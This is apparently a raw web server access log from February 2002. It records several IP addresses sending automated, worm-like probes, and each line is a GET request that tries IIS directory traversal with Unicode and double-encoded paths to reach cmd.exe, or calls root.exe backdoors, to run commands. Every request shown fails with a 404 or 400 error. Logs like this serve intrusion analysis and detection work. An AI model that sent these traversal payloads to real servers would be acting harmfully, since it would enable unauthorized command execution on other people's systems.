www 66.73.37.249 - - [18/Feb/2002:14:16:15 -0600] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
www 66.73.37.249 - - [18/Feb/2002:14:16:15 -0600] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
www 66.73.37.249 - - [18/Feb/2002:14:16:15 -0600] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.37.249 - - [18/Feb/2002:14:16:15 -0600] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.37.249 - - [18/Feb/2002:14:37:09 -0600] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210
www 66.73.37.249 - - [18/Feb/2002:14:37:09 -0600] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208
www 66.73.37.249 - - [18/Feb/2002:14:37:09 -0600] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.73.37.249 - - [18/Feb/2002:14:37:09 -0600] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.73.37.249 - - [18/Feb/2002:14:37:10 -0600] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.37.249 - - [18/Feb/2002:14:37:10 -0600] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
www 66.73.37.249 - - [18/Feb/2002:14:37:10 -0600] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
www 66.73.37.249 - - [18/Feb/2002:14:37:10 -0600] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 265
www 66.73.37.249 - - [18/Feb/2002:14:37:10 -0600] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.37.249 - - [18/Feb/2002:14:37:10 -0600] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.37.249 - - [18/Feb/2002:14:37:10 -0600] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.37.249 - - [18/Feb/2002:14:37:10 -0600] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.37.249 - - [18/Feb/2002:14:37:10 -0600] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
www 66.73.37.249 - - [18/Feb/2002:14:37:11 -0600] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
www 66.73.37.249 - - [18/Feb/2002:14:37:11 -0600] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.37.249 - - [18/Feb/2002:14:37:11 -0600] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.11.125 - - [18/Feb/2002:16:20:14 -0600] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210
www 66.73.11.125 - - [18/Feb/2002:16:20:18 -0600] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208
www 66.73.11.125 - - [18/Feb/2002:16:20:22 -0600] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.73.11.125 - - [18/Feb/2002:16:20:26 -0600] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.73.11.125 - - [18/Feb/2002:16:20:30 -0600] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.11.125 - - [18/Feb/2002:16:20:34 -0600] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
www 66.73.11.125 - - [18/Feb/2002:16:20:38 -0600] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
www 66.73.11.125 - - [18/Feb/2002:16:20:42 -0600] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 265
www 66.73.11.125 - - [18/Feb/2002:16:20:46 -0600] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.11.125 - - [18/Feb/2002:16:20:48 -0600] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.11.125 - - [18/Feb/2002:16:20:51 -0600] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.11.125 - - [18/Feb/2002:16:20:53 -0600] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.11.125 - - [18/Feb/2002:16:20:55 -0600] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
www 66.73.11.125 - - [18/Feb/2002:16:20:57 -0600] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
www 66.73.11.125 - - [18/Feb/2002:16:21:00 -0600] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.11.125 - - [18/Feb/2002:16:21:02 -0600] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.11.125 - - [18/Feb/2002:17:01:08 -0600] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210
www 66.73.11.125 - - [18/Feb/2002:17:01:12 -0600] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208
www 66.73.11.125 - - [18/Feb/2002:17:01:16 -0600] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.73.11.125 - - [18/Feb/2002:17:01:21 -0600] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.73.11.125 - - [18/Feb/2002:17:01:25 -0600] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.11.125 - - [18/Feb/2002:17:01:29 -0600] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
www 66.73.11.125 - - [18/Feb/2002:17:01:34 -0600] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
www 66.73.11.125 - - [18/Feb/2002:17:01:39 -0600] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 265
www 66.73.11.125 - - [18/Feb/2002:17:01:44 -0600] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.11.125 - - [18/Feb/2002:17:01:48 -0600] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.11.125 - - [18/Feb/2002:17:01:52 -0600] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.11.125 - - [18/Feb/2002:17:01:57 -0600] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.11.125 - - [18/Feb/2002:17:02:01 -0600] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
www 66.73.11.125 - - [18/Feb/2002:17:02:06 -0600] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
www 66.73.11.125 - - [18/Feb/2002:17:02:10 -0600] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.11.125 - - [18/Feb/2002:17:02:14 -0600] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.1.26.25 - - [18/Feb/2002:18:30:33 -0600] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210
www 66.1.26.25 - - [18/Feb/2002:18:30:34 -0600] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208
www 66.1.26.25 - - [18/Feb/2002:18:30:34 -0600] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.1.26.25 - - [18/Feb/2002:18:30:34 -0600] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.1.26.25 - - [18/Feb/2002:18:30:35 -0600] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.1.26.25 - - [18/Feb/2002:18:30:35 -0600] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
www 66.1.26.25 - - [18/Feb/2002:18:30:35 -0600] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
www 66.1.26.25 - - [18/Feb/2002:18:30:36 -0600] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 265
www 66.1.26.25 - - [18/Feb/2002:18:30:36 -0600] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.1.26.25 - - [18/Feb/2002:18:30:37 -0600] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.1.26.25 - - [18/Feb/2002:18:30:37 -0600] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.1.26.25 - - [18/Feb/2002:18:30:40 -0600] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.1.26.25 - - [18/Feb/2002:18:30:41 -0600] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
www 66.1.26.25 - - [18/Feb/2002:18:30:41 -0600] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
www 66.1.26.25 - - [18/Feb/2002:18:30:41 -0600] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.1.26.25 - - [18/Feb/2002:18:30:42 -0600] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.11.148 - - [18/Feb/2002:19:57:30 -0600] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210
www 66.73.11.148 - - [18/Feb/2002:19:57:34 -0600] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208
www 66.73.11.148 - - [19/Feb/2002:00:13:00 -0600] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210
www 66.73.11.148 - - [19/Feb/2002:00:13:05 -0600] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208
www 66.73.11.148 - - [19/Feb/2002:00:13:09 -0600] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.73.11.148 - - [19/Feb/2002:00:13:13 -0600] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.73.11.148 - - [19/Feb/2002:00:13:18 -0600] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.11.148 - - [19/Feb/2002:00:13:43 -0600] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
www 66.73.11.148 - - [19/Feb/2002:00:13:47 -0600] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
www 66.73.11.148 - - [19/Feb/2002:00:13:52 -0600] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 265
www 66.73.11.148 - - [19/Feb/2002:00:13:56 -0600] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.11.148 - - [19/Feb/2002:00:14:01 -0600] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.11.148 - - [19/Feb/2002:00:14:05 -0600] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.11.148 - - [19/Feb/2002:00:14:13 -0600] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.11.148 - - [19/Feb/2002:00:14:17 -0600] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
www 66.73.11.148 - - [19/Feb/2002:00:14:22 -0600] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
www 66.73.11.148 - - [19/Feb/2002:00:14:26 -0600] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.11.148 - - [19/Feb/2002:00:14:40 -0600] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.11.148 - - [19/Feb/2002:00:39:37 -0600] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210
www 66.73.11.148 - - [19/Feb/2002:00:39:41 -0600] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208
www 66.73.11.148 - - [19/Feb/2002:00:39:45 -0600] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.73.11.148 - - [19/Feb/2002:00:39:58 -0600] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.73.11.148 - - [19/Feb/2002:00:40:02 -0600] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.11.148 - - [19/Feb/2002:00:40:07 -0600] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
www 66.73.11.148 - - [19/Feb/2002:00:40:11 -0600] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
www 66.73.11.148 - - [19/Feb/2002:00:40:15 -0600] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 265
www 66.73.11.148 - - [19/Feb/2002:00:40:23 -0600] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.11.148 - - [19/Feb/2002:00:40:27 -0600] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.11.148 - - [19/Feb/2002:00:40:32 -0600] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.11.148 - - [19/Feb/2002:00:40:36 -0600] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.11.148 - - [19/Feb/2002:00:40:40 -0600] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
www 66.73.11.148 - - [19/Feb/2002:00:40:44 -0600] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
www 66.73.11.148 - - [19/Feb/2002:00:40:48 -0600] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.11.148 - - [19/Feb/2002:00:40:51 -0600] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.11.148 - - [19/Feb/2002:01:31:05 -0600] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210
www 66.73.11.148 - - [19/Feb/2002:01:31:08 -0600] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208
www 66.73.11.148 - - [19/Feb/2002:01:31:12 -0600] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.73.11.148 - - [19/Feb/2002:01:31:17 -0600] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.73.11.148 - - [19/Feb/2002:01:31:20 -0600] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.11.148 - - [19/Feb/2002:01:31:24 -0600] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
www 66.73.11.148 - - [19/Feb/2002:01:31:29 -0600] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
www 66.73.11.148 - - [19/Feb/2002:03:06:59 -0600] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210
www 66.73.11.148 - - [19/Feb/2002:03:07:07 -0600] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208
www 66.73.11.148 - - [19/Feb/2002:03:07:11 -0600] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.73.11.148 - - [19/Feb/2002:05:40:54 -0600] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210
www 66.73.11.148 - - [19/Feb/2002:05:40:59 -0600] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208
www 66.73.11.148 - - [19/Feb/2002:05:41:03 -0600] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.73.11.148 - - [19/Feb/2002:05:41:07 -0600] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.73.11.148 - - [19/Feb/2002:05:41:12 -0600] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.11.148 - - [19/Feb/2002:05:41:17 -0600] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
www 66.73.11.148 - - [19/Feb/2002:05:41:21 -0600] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
www 66.73.11.148 - - [19/Feb/2002:05:41:25 -0600] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 265
www 66.73.11.148 - - [19/Feb/2002:05:41:30 -0600] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.11.148 - - [19/Feb/2002:05:41:35 -0600] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.11.148 - - [19/Feb/2002:05:41:39 -0600] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.11.148 - - [19/Feb/2002:05:41:44 -0600] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.11.148 - - [19/Feb/2002:05:41:49 -0600] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
www 66.73.11.148 - - [19/Feb/2002:05:41:53 -0600] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
www 66.73.11.148 - - [19/Feb/2002:05:41:58 -0600] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.11.148 - - [19/Feb/2002:05:42:02 -0600] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232